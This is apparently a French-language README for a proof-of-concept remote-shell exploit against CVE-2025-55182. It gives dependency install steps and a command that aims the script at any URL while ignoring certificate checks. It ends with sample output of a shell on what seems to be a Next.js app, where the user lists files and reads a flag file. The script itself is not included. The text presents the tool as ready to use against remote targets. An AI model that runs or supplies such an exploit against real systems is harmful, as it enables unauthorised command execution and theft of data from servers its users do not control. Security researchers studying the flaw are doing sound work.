CVE-2025-55182

Exploit de preuve de concept pour CVE-2025-55182. En cas de succès, il émule un shell sur la cible distante via des requêtes HTTP-POST. Fonctionne avec HTTP et HTTPS, mais ignore toute vérification de certificat. Ne prend en charge les changements de répertoire qu'avec des chemins absolus.

Comment l'utiliser

1. Installez les dépendances.

# Install systemwide
pipx install requests

# Only install in current directory
python -m venv .
. bin/activate
pip install requests

2. Lancez l'exploit.

python3 ./CVE-2025-55182.py 'https://example.notatld:1337/'

Exemple

Lorsqu'il est exécuté avec succès, la sortie devrait ressembler à ceci :

╰─$ python CVE-2025-55182.py http://localhost:1337/
CVE-2025-55182 - PoC Shell
Author: Least-Significant-Bit
Hint: Type 'exit' or 'quit' to exit.

/app/.next/standalone $> cd /app
/app $> ls
app
flag.txt
next-env.d.ts
next.config.mjs
node_modules
package-lock.json
package.json
postcss.config.mjs
public
tailwind.config.ts
tsconfig.json
/app $> cat flag.txt
EXAMPLE_TEST_FLAG